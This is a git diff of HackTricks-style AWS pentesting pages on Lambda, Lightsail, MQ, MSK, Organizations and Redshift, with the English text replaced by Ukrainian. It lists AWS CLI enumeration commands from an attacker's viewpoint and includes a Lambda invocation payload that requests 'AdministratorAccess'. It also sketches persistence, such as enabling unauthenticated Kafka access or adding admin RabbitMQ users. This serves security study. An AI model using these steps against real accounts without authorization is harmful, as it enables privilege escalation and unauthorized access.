-156,7 +152,3 @@ aws kms describe-custom-key-stores - [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 03fa1aac8..27d4d61a0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,59 +4,58 @@ ## Lambda -Amazon Web Services (AWS) Lambda is described as a **compute service** that enables the execution of code without the necessity for server provision or management. It is characterized by its ability to **automatically handle resource allocation** needed for code execution, ensuring features like high availability, scalability, and security. A significant aspect of Lambda is its pricing model, where **charges are based solely on the compute time utilized**, eliminating the need for initial investments or long-term obligations. +Amazon Web Services (AWS) Lambda описується як **обчислювальна служба**, яка дозволяє виконувати код без необхідності в постачанні або управлінні серверами. Вона характеризується своєю здатністю **автоматично обробляти виділення ресурсів**, необхідних для виконання коду, забезпечуючи такі функції, як висока доступність, масштабованість і безпека. Значним аспектом Lambda є її модель ціноутворення, де **плата стягується виключно за використаний обчислювальний час**, що усуває необхідність у початкових інвестиціях або довгострокових зобов'язаннях. -To call a lambda it's possible to call it as **frequently as you wants** (with Cloudwatch), **expose** an **URL** endpoint and call it, call it via **API Gateway** or even based on **events** such as **changes** to data in a **S3** bucket or updates to a **DynamoDB** table. +Щоб викликати лямбду, можна викликати її **так часто, як ви хочете** (з Cloudwatch), **експонувати** **URL** кінцеву точку та викликати її, викликати її через **API Gateway** або навіть на основі **подій**, таких як **зміни** в даних у **S3** бакеті або оновлення в **DynamoDB** таблиці. -The **code** of a lambda is stored in **`/var/task`**. +**Код** лямбди зберігається в **`/var/task`**. -### Lambda Aliases Weights +### Ваги псевдонімів Lambda -A Lambda can have **several versions**.\ -And it can have **more than 1** version exposed via **aliases**. The **weights** of **each** of the **versions** exposed inside and alias will decide **which alias receive the invocation** (it can be 90%-10% for example).\ -If the code of **one** of the aliases is **vulnerable** you can send **requests until the vulnerable** versions receives the exploit. +Лямбда може мати **кілька версій**.\ +І вона може мати **більше ніж 1** версію, експоновану через **псевдоніми**. **Ваги** **кожної** з **версій**, експонованих всередині псевдоніма, визначать, **який псевдонім отримує виклик** (це може бути 90%-10%, наприклад).\ +Якщо код **одного** з псевдонімів є **вразливим**, ви можете надсилати **запити, поки вразлива** версія не отримає експлойт. ![](<../../../images/image (223).png>) -### Resource Policies +### Політики ресурсів -Lambda resource policies allow to **give access to other services/accounts to invoke** the lambda for example.\ -For example this is the policy to allow **anyone to access a lambda exposed via URL**: +Політики ресурсів Lambda дозволяють **надавати доступ іншим службам/акаунтам для виклику** лямбди, наприклад.\ +Наприклад, це політика, яка дозволяє **будь-кому отримати доступ до лямбди, експонованої через URL**:
-Or this to allow an API Gateway to invoke it: +Або це, щоб дозволити API Gateway викликати її:
-### Lambda Database Proxies +### Проксі бази даних Lambda -When there are **hundreds** of **concurrent lambda requests**, if each of them need to **connect and close a connection to a database**, it's just not going to work (lambdas are stateless, cannot maintain connections open).\ -Then, if your **Lambda functions interact with RDS Proxy instead** of your database instance. It handles the connection pooling necessary for scaling many simultaneous connections created by concurrent Lambda functions. This allows your Lambda applications to **reuse existing connections**, rather than creating new connections for every function invocation. +Коли є **сотні** **паралельних запитів до лямбди**, якщо кожен з них потребує **підключення та закриття з'єднання з базою даних**, це просто не спрацює (лямбди безстанні, не можуть підтримувати відкриті з'єднання).\ +Тоді, якщо ваші **функції Lambda взаємодіють з RDS Proxy замість** вашої бази даних. Це обробляє пул з'єднань, необхідний для масштабування багатьох одночасних з'єднань, створених паралельними функціями Lambda. Це дозволяє вашим Lambda додаткам **повторно використовувати існуючі з'єднання**, а не створювати нові з'єднання для кожного виклику функції. -### Lambda EFS Filesystems +### Файлові системи EFS Lambda -To preserve and even share data **Lambdas can access EFS and mount them**, so Lambda will be able to read and write from it. +Щоб зберегти та навіть поділитися даними, **лямбди можуть отримувати доступ до EFS і монтувати їх**, щоб лямбда могла читати та записувати з них. -### Lambda Layers +### Шари Lambda -A Lambda _layer_ is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +Шар Lambda _це_ архів .zip файлів, який **може містити додатковий код** або інший вміст. Шар може містити бібліотеки, [кастомний час виконання](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), дані або конфігураційні файли. -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +Можна включити до **п'яти шарів на функцію**. Коли ви включаєте шар у функцію, **вміст витягується до каталогу `/opt`** в середовищі виконання. -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +За **замовчуванням** шари, які ви створюєте, є **приватними** для вашого облікового запису AWS. Ви можете вибрати **поділитися** шаром з іншими обліковими записами або **зробити** шар **публічним**. Якщо ваші функції споживають шар, який опублікував інший обліковий запис, ваші функції можуть **продовжувати використовувати версію шару після його видалення або після відкликання вашого дозволу на доступ до шару**. Однак ви не можете створити нову функцію або оновити функції, використовуючи видалену версію шару. -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +Функції, розгорнуті як контейнерне зображення, не використовують шари. Натомість ви пакуєте ваше бажане середовище виконання, бібліотеки та інші залежності в контейнерне зображення під час його створення. -### Lambda Extensions +### Розширення Lambda -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +Розширення Lambda покращують функції, інтегруючись з різними **інструментами моніторингу, спостереження, безпеки та управління**. Ці розширення, додані через [.zip архіви за допомогою шарів Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) або включені в [розгортання контейнерних зображень](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), працюють у двох режимах: **внутрішньому** та **зовнішньому**. -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. - -### Enumeration +- **Внутрішні розширення** зливаються з процесом виконання, маніпулюючи його запуском за допомогою **змінних середовища, специфічних для мови** та **обгорткових скриптів**. Це налаштування застосовується до ряду середовищ виконання, включаючи **Java Correto 8 і 11, Node.js 10 і 12, та .NET Core 3.1**. +- **Зовнішні розширення** працюють як окремі процеси, підтримуючи узгодженість роботи з життєвим циклом функції Lambda. Вони сумісні з різними середовищами виконання, такими як **Node.js 10 і 12, Python 3.7 і 3.8, Ruby 2.5 і 2.7, Java Corretto 8 і 11, .NET Core 3.1**, та **кастомними середовищами виконання**. +### Перерахування ```bash aws lambda get-account-settings @@ -93,11 +92,9 @@ aws lambda list-event-source-mappings aws lambda list-code-signing-configs aws lambda list-functions-by-code-signing-config --code-signing-config-arn ``` +### Викликати лямбду -### Invoke a lambda - -#### Manual - +#### Вручну ```bash # Invoke function aws lambda invoke --function-name FUNCTION_NAME /tmp/out @@ -106,83 +103,70 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out ## user_name = event['user_name'] aws lambda invoke --function-name --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt ``` - -#### Via exposed URL - +#### Через відкритий URL ```bash aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` - #### Call Lambda function via URL -Now it's time to find out possible lambda functions to execute: - +Тепер час дізнатися про можливі функції lambda для виконання: ``` aws --region us-west-2 --profile level6 lambda list-functions ``` - ![](<../../../images/image (262).png>) -A lambda function called "Level6" is available. Lets find out how to call it: - +Доступна функція лямбда під назвою "Level6". Давайте дізнаємося, як її викликати: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` - ![](<../../../images/image (102).png>) -Now, that you know the name and the ID you can get the Name: - +Тепер, коли ви знаєте ім'я та ID, ви можете отримати ім'я: ```bash aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" ``` - ![](<../../../images/image (237).png>) -And finally call the function accessing (notice that the ID, Name and function-name appears in the URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +І нарешті викликаємо функцію, звертаючись (зверніть увагу, що ID, Name та function-name з'являються в URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) `URL:`**`https://.execute-api..amazonaws.com//`** -#### Other Triggers +#### Інші тригери -There are a lot of other sources that can trigger a lambda +Є багато інших джерел, які можуть викликати lambda
### Privesc -In the following page you can check how to **abuse Lambda permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами Lambda для ескалації привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-lambda-privesc.md {{#endref}} -### Unauthenticated Access +### Неавтентифікований доступ {{#ref}} ../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md {{#endref}} -### Post Exploitation +### Постексплуатація {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/ {{#endref}} -### Persistence +### Персистентність {{#ref}} ../aws-persistence/aws-lambda-persistence/ {{#endref}} -## References +## Посилання - [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer) - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 9f5ccb1ab..37d46a165 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,11 +4,10 @@ ## AWS - Lightsail -Amazon Lightsail provides an **easy**, lightweight way for new cloud users to take advantage of AWS’ cloud computing services. It allows you to deploy common and custom web services in seconds via **VMs** (**EC2**) and **containers**.\ -It's a **minimal EC2 + Route53 + ECS**. +Amazon Lightsail надає **легкий**, легковаговий спосіб для нових користувачів хмари скористатися послугами обчислень AWS. Це дозволяє вам розгортати загальні та індивідуальні веб-сервіси за секунди через **VMs** (**EC2**) та **контейнери**.\ +Це **мінімальний EC2 + Route53 + ECS**. ### Enumeration - ```bash # Instances aws lightsail get-instances #Get all @@ -29,35 +28,30 @@ aws lightsail get-load-balancers aws lightsail get-static-ips aws lightsail get-key-pairs ``` +### Аналіз знімків -### Analyse Snapshots +Можливо створити **знімки екземплярів та реляційних баз даних з lightsail**. Тому ви можете перевірити їх так само, як ви можете перевірити [**знімки EC2**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) та [**знімки RDS**](aws-relational-database-rds-enum.md#enumeration). -It's possible to generate **instance and relational database snapshots from lightsail**. Therefore you can check those the same way you can check [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) and [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration). +### Метадані -### Metadata +**Точка доступу до метаданих доступна з lightsail**, але машини працюють в **обліковому записі AWS, що управляється AWS**, тому ви не контролюєте **які дозволи надаються**. Однак, якщо ви знайдете спосіб експлуатувати їх, ви будете безпосередньо експлуатувати AWS. -**Metadata endpoint is accessible from lightsail**, but the machines are running in an **AWS account managed by AWS** so you don't control **what permissions are being granted**. However, if you find a way to exploit those you would be directly exploiting AWS. - -### Privesc +### Підвищення привілеїв {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md {{#endref}} -### Post Exploitation +### Постексплуатація {{#ref}} ../aws-post-exploitation/aws-lightsail-post-exploitation.md {{#endref}} -### Persistence +### Постійність {{#ref}} ../aws-persistence/aws-lightsail-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 8504db545..712ce3918 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -4,28 +4,27 @@ ## Amazon MQ -### Introduction to Message Brokers +### Вступ до брокерів повідомлень -**Message brokers** serve as intermediaries, facilitating communication between different software systems, which may be built on varied platforms and programmed in different languages. **Amazon MQ** simplifies the deployment, operation, and maintenance of message brokers on AWS. It provides managed services for **Apache ActiveMQ** and **RabbitMQ**, ensuring seamless provisioning and automatic software version updates. +**Брокери повідомлень** слугують посередниками, полегшуючи комунікацію між різними програмними системами, які можуть бути побудовані на різних платформах і програмовані на різних мовах. **Amazon MQ** спрощує розгортання, експлуатацію та обслуговування брокерів повідомлень на AWS. Він надає керовані послуги для **Apache ActiveMQ** та **RabbitMQ**, забезпечуючи безперебійне постачання та автоматичні оновлення версій програмного забезпечення. ### AWS - RabbitMQ -RabbitMQ is a prominent **message-queueing software**, also known as a _message broker_ or _queue manager_. It's fundamentally a system where queues are configured. Applications interface with these queues to **send and receive messages**. Messages in this context can carry a variety of information, ranging from commands to initiate processes on other applications (potentially on different servers) to simple text messages. The messages are held by the queue-manager software until they are retrieved and processed by a receiving application. AWS provides an easy-to-use solution for hosting and managing RabbitMQ servers. +RabbitMQ є видатним **програмним забезпеченням для черг повідомлень**, також відомим як _брокер повідомлень_ або _менеджер черг_. Це, по суті, система, в якій налаштовуються черги. Додатки взаємодіють з цими чергами, щоб **надсилати та отримувати повідомлення**. Повідомлення в цьому контексті можуть містити різноманітну інформацію, починаючи від команд для ініціювання процесів в інших додатках (можливо, на різних серверах) до простих текстових повідомлень. Повідомлення зберігаються програмним забезпеченням менеджера черг, поки їх не отримають і не оброблять приймаючі додатки. AWS надає просте у використанні рішення для хостингу та управління серверами RabbitMQ. ### AWS - ActiveMQ -Apache ActiveMQ® is a leading open-source, Java-based **message broker** known for its versatility. It supports multiple industry-standard protocols, offering extensive client compatibility across a wide array of languages and platforms. Users can: +Apache ActiveMQ® є провідним відкритим, заснованим на Java **брокером повідомлень**, відомим своєю універсальністю. Він підтримує кілька стандартних протоколів галузі, пропонуючи широкий спектр сумісності клієнтів на різних мовах і платформах. Користувачі можуть: -- Connect with clients written in JavaScript, C, C++, Python, .Net, and more. -- Leverage the **AMQP** protocol to integrate applications from different platforms. -- Use **STOMP** over websockets for web application message exchanges. -- Manage IoT devices with **MQTT**. -- Maintain existing **JMS** infrastructure and extend its capabilities. +- Підключатися до клієнтів, написаних на JavaScript, C, C++, Python, .Net та інших. +- Використовувати протокол **AMQP** для інтеграції додатків з різних платформ. +- Використовувати **STOMP** через веб-сокети для обміну повідомленнями веб-додатків. +- Керувати IoT-пристроями за допомогою **MQTT**. +- Підтримувати існуючу інфраструктуру **JMS** та розширювати її можливості. -ActiveMQ's robustness and flexibility make it suitable for a multitude of messaging requirements. - -## Enumeration +Стійкість і гнучкість ActiveMQ роблять його придатним для безлічі вимог до обміну повідомленнями. +## Перерахування ```bash # List brokers aws mq list-brokers @@ -48,9 +47,8 @@ aws mq list-configurations # Creacte Active MQ user aws mq create-user --broker-id --password --username --console-access ``` - > [!WARNING] -> TODO: Indicate how to enumerate RabbitMQ and ActiveMQ internally and how to listen in all queues and send data (send PR if you know how to do this) +> TODO: Вкажіть, як перерахувати RabbitMQ та ActiveMQ внутрішньо та як прослуховувати всі черги і надсилати дані (надішліть PR, якщо знаєте, як це зробити) ## Privesc @@ -66,7 +64,7 @@ aws mq create-user --broker-id --password --username --c ## Persistence -If you know the credentials to access the RabbitMQ web console, you can create a new user qith admin privileges. +Якщо ви знаєте облікові дані для доступу до веб-консолі RabbitMQ, ви можете створити нового користувача з адміністративними привілеями. ## References @@ -74,7 +72,3 @@ If you know the credentials to access the RabbitMQ web console, you can create a - [https://activemq.apache.org/](https://activemq.apache.org/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 42c7ca640..6c6847e17 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,22 +4,21 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** is a service that is fully managed, facilitating the development and execution of applications processing streaming data through **Apache Kafka**. Control-plane operations, including creation, update, and deletion of **clusters**, are offered by Amazon MSK. The service permits the utilization of Apache Kafka **data-plane operations**, encompassing data production and consumption. It operates on **open-source versions of Apache Kafka**, ensuring compatibility with existing applications, tooling, and plugins from both partners and the **Apache Kafka community**, eliminating the need for alterations in the application code. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** — це повністю керована служба, яка полегшує розробку та виконання додатків, що обробляють потокові дані через **Apache Kafka**. Операції контрольної площини, включаючи створення, оновлення та видалення **кластерів**, пропонуються Amazon MSK. Служба дозволяє використовувати **операції даних** Apache Kafka, що охоплюють виробництво та споживання даних. Вона працює на **відкритих версіях Apache Kafka**, забезпечуючи сумісність з існуючими додатками, інструментами та плагінами як від партнерів, так і від **спільноти Apache Kafka**, усуваючи необхідність у змінах у коді додатка. -In terms of reliability, Amazon MSK is designed to **automatically detect and recover from prevalent cluster failure scenarios**, ensuring that producer and consumer applications persist in their data writing and reading activities with minimal disruption. Moreover, it aims to optimize data replication processes by attempting to **reuse the storage of replaced brokers**, thereby minimizing the volume of data that needs to be replicated by Apache Kafka. +Щодо надійності, Amazon MSK розроблений для **автоматичного виявлення та відновлення від поширених сценаріїв збоїв кластерів**, забезпечуючи, щоб додатки виробників і споживачів продовжували свої дії з запису та читання даних з мінімальними перервами. Крім того, він прагне оптимізувати процеси реплікації даних, намагаючись **повторно використовувати зберігання замінених брокерів**, тим самим зменшуючи обсяг даних, які потрібно реплікувати Apache Kafka. -### **Types** +### **Типи** -There are 2 types of Kafka clusters that AWS allows to create: Provisioned and Serverless. +Існує 2 типи кластерів Kafka, які AWS дозволяє створювати: Provisioned та Serverless. -From the point of view of an attacker you need to know that: +З точки зору атакуючого, вам потрібно знати, що: -- **Serverless cannot be directly public** (it can only run in a VPN without any publicly exposed IP). However, **Provisioned** can be configured to get a **public IP** (by default it doesn't) and configure the **security group** to **expose** the relevant ports. -- **Serverless** **only support IAM** as authentication method. **Provisioned** support SASL/SCRAM (**password**) authentication, **IAM** authentication, AWS **Certificate** Manager (ACM) authentication and **Unauthenticated** access. - - Note that it's not possible to expose publicly a Provisioned Kafka if unauthenticated access is enabled +- **Serverless не може бути безпосередньо публічним** (він може працювати лише у VPN без будь-якої публічно відкритої IP-адреси). Однак **Provisioned** може бути налаштований для отримання **публічної IP-адреси** (за замовчуванням цього не відбувається) і налаштувати **групу безпеки** для **відкриття** відповідних портів. +- **Serverless** **підтримує лише IAM** як метод аутентифікації. **Provisioned** підтримує SASL/SCRAM (**пароль**) аутентифікацію, **IAM** аутентифікацію, AWS **Certificate** Manager (ACM) аутентифікацію та **неаутентифікований** доступ. +- Зверніть увагу, що неможливо публічно відкрити Provisioned Kafka, якщо увімкнено неаутентифікований доступ. ### Enumeration - ```bash #Get clusters aws kafka list-clusters @@ -43,9 +42,7 @@ aws kafka describe-configuration-revision --arn --revision ``` - -### Kafka IAM Access (in serverless) - +### Доступ IAM до Kafka (в безсерверному режимі) ```bash # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html # Download Kafka @@ -75,7 +72,6 @@ kafka_2.12-2.8.1/bin/kafka-console-producer.sh --broker-list $BS --producer.conf # Read messages kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer.config client.properties --topic msk-serverless-tutorial --from-beginning ``` - ### Privesc {{#ref}} @@ -90,14 +86,10 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistence -If you are going to **have access to the VPC** where a Provisioned Kafka is, you could **enable unauthorised access**, if **SASL/SCRAM authentication**, **read** the password from the secret, give some **other controlled user IAM permissions** (if IAM or serverless used) or persist with **certificates**. +Якщо ви **матимете доступ до VPC**, де знаходиться Provisioned Kafka, ви могли б **увімкнути несанкціонований доступ**, якщо **SASL/SCRAM аутентифікація**, **прочитати** пароль з секрету, надати деяким **іншим контрольованим користувачам IAM дозволи** (якщо використовується IAM або безсерверні технології) або зберегти з **сертифікатами**. ## References - [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index df5a51a37..58b3ce98a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -2,23 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -## Baisc Information +## Основна інформація -AWS Organizations facilitates the creation of new AWS accounts without incurring additional costs. Resources can be allocated effortlessly, accounts can be efficiently grouped, and governance policies can be applied to individual accounts or groups, enhancing management and control within the organization. +AWS Organizations полегшує створення нових AWS-акаунтів без додаткових витрат. Ресурси можна без зусиль виділяти, акаунти можна ефективно групувати, а політики управління можна застосовувати до окремих акаунтів або груп, що покращує управління та контроль в організації. -Key Points: +Ключові моменти: -- **New Account Creation**: AWS Organizations allows the creation of new AWS accounts without extra charges. -- **Resource Allocation**: It simplifies the process of allocating resources across the accounts. -- **Account Grouping**: Accounts can be grouped together, making management more streamlined. -- **Governance Policies**: Policies can be applied to accounts or groups of accounts, ensuring compliance and governance across the organization. +- **Створення нового акаунта**: AWS Organizations дозволяє створювати нові AWS-акаунти без додаткових витрат. +- **Виділення ресурсів**: Це спрощує процес виділення ресурсів між акаунтами. +- **Групування акаунтів**: Акаунти можна групувати разом, що робить управління більш зручним. +- **Політики управління**: Політики можна застосовувати до акаунтів або груп акаунтів, забезпечуючи відповідність і управління в організації. -You can find more information in: +Ви можете знайти більше інформації в: {{#ref}} ../aws-basic-information/ {{#endref}} - ```bash # Get Org aws organizations describe-organization @@ -39,13 +38,8 @@ aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y ## You need the permission iam:GetAccountSummary aws iam get-account-summary ``` - -## References +## Посилання - https://aws.amazon.com/organizations/ {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index d5cb84f1d..d4b372da2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -1,28 +1,20 @@ -# AWS - Other Services Enum +# AWS - Інші сервіси {{#include ../../../banners/hacktricks-training.md}} ## Directconnect -Allows to **connect a corporate private network with AWS** (so you could compromise an EC2 instance and access the corporate network). - +Дозволяє **підключити корпоративну приватну мережу до AWS** (щоб ви могли зламати EC2 інстанс і отримати доступ до корпоративної мережі). ``` aws directconnect describe-connections aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` - ## Support -In AWS you can access current and previous support cases via the API - +В AWS ви можете отримати доступ до поточних та попередніх випадків підтримки через API ``` aws support describe-cases --include-resolved-cases ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 7ae94d5d6..2078259e6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,46 +4,45 @@ ## Amazon Redshift -Redshift is a fully managed service that can scale up to over a petabyte in size, which is used as a **data warehouse for big data solutions**. Using Redshift clusters, you are able to run analytics against your datasets using fast, SQL-based query tools and business intelligence applications to gather greater understanding of vision for your business. +Redshift - це повністю керована служба, яка може масштабуватися до понад одного петабайта, що використовується як **сховище даних для рішень великого обсягу даних**. Використовуючи кластери Redshift, ви можете виконувати аналітику над вашими наборами даних, використовуючи швидкі, засновані на SQL інструменти запитів та програми бізнес-аналітики для отримання більшого розуміння бачення вашого бізнесу. -**Redshift offers encryption at rest using a four-tired hierarchy of encryption keys using either KMS or CloudHSM to manage the top tier of keys**. **When encryption is enabled for your cluster, it can't be disable and vice versa**. When you have an unencrypted cluster, it can't be encrypted. +**Redshift пропонує шифрування в спокої, використовуючи чотирирівневу ієрархію ключів шифрування, використовуючи або KMS, або CloudHSM для управління верхнім рівнем ключів**. **Коли шифрування увімкнено для вашого кластера, його не можна вимкнути, і навпаки**. Коли у вас є незашифрований кластер, його не можна зашифрувати. -Encryption for your cluster can only happen during its creation, and once encrypted, the data, metadata, and any snapshots are also encrypted. The tiering level of encryption keys are as follows, **tier one is the master key, tier two is the cluster encryption key, the CEK, tier three, the database encryption key, the DEK, and finally tier four, the data encryption keys themselves**. +Шифрування для вашого кластера може відбуватися лише під час його створення, і після шифрування дані, метадані та будь-які знімки також зашифровані. Рівні ключів шифрування такі: **перший рівень - це головний ключ, другий рівень - це ключ шифрування кластера, CEK, третій рівень - ключ шифрування бази даних, DEK, і нарешті четвертий рівень - це самі ключі шифрування даних**. ### KMS -During the creation of your cluster, you can either select the **default KMS key** for Redshift or select your **own CMK**, which gives you more flexibility over the control of the key, specifically from an auditable perspective. +Під час створення вашого кластера ви можете або вибрати **ключ KMS за замовчуванням** для Redshift, або вибрати свій **власний CMK**, що дає вам більше гнучкості в контролі над ключем, зокрема з точки зору аудиту. -The default KMS key for Redshift is automatically created by Redshift the first time the key option is selected and used, and it is fully managed by AWS. +Ключ KMS за замовчуванням для Redshift автоматично створюється Redshift під час першого вибору та використання опції ключа, і він повністю керується AWS. -This KMS key is then encrypted with the CMK master key, tier one. This encrypted KMS data key is then used as the cluster encryption key, the CEK, tier two. This CEK is then sent by KMS to Redshift where it is stored separately from the cluster. Redshift then sends this encrypted CEK to the cluster over a secure channel where it is stored in memory. +Цей ключ KMS потім шифрується головним ключем CMK, перший рівень. Цей зашифрований ключ даних KMS потім використовується як ключ шифрування кластера, CEK, другий рівень. Цей CEK потім надсилається KMS до Redshift, де він зберігається окремо від кластера. Redshift потім надсилає цей зашифрований CEK до кластера через захищений канал, де він зберігається в пам'яті. -Redshift then requests KMS to decrypt the CEK, tier two. This decrypted CEK is then also stored in memory. Redshift then creates a random database encryption key, the DEK, tier three, and loads that into the memory of the cluster. The decrypted CEK in memory then encrypts the DEK, which is also stored in memory. +Redshift потім запитує KMS, щоб розшифрувати CEK, другий рівень. Цей розшифрований CEK також зберігається в пам'яті. Redshift потім створює випадковий ключ шифрування бази даних, DEK, третій рівень, і завантажує його в пам'ять кластера. Розшифрований CEK в пам'яті потім шифрує DEK, який також зберігається в пам'яті. -This encrypted DEK is then sent over a secure channel and stored in Redshift separately from the cluster. Both the CEK and the DEK are now stored in memory of the cluster both in an encrypted and decrypted form. The decrypted DEK is then used to encrypt data keys, tier four, that are randomly generated by Redshift for each data block in the database. +Цей зашифрований DEK потім надсилається через захищений канал і зберігається в Redshift окремо від кластера. Як CEK, так і DEK тепер зберігаються в пам'яті кластера як в зашифрованій, так і в розшифрованій формі. Розшифрований DEK потім використовується для шифрування ключів даних, четвертий рівень, які випадковим чином генеруються Redshift для кожного блоку даних у базі даних. -You can use AWS Trusted Advisor to monitor the configuration of your Amazon S3 buckets and ensure that bucket logging is enabled, which can be useful for performing security audits and tracking usage patterns in S3. +Ви можете використовувати AWS Trusted Advisor для моніторингу конфігурації ваших кошиків Amazon S3 та забезпечення того, щоб ведення журналу кошика було увімкнено, що може бути корисним для проведення аудиту безпеки та відстеження шаблонів використання в S3. ### CloudHSM
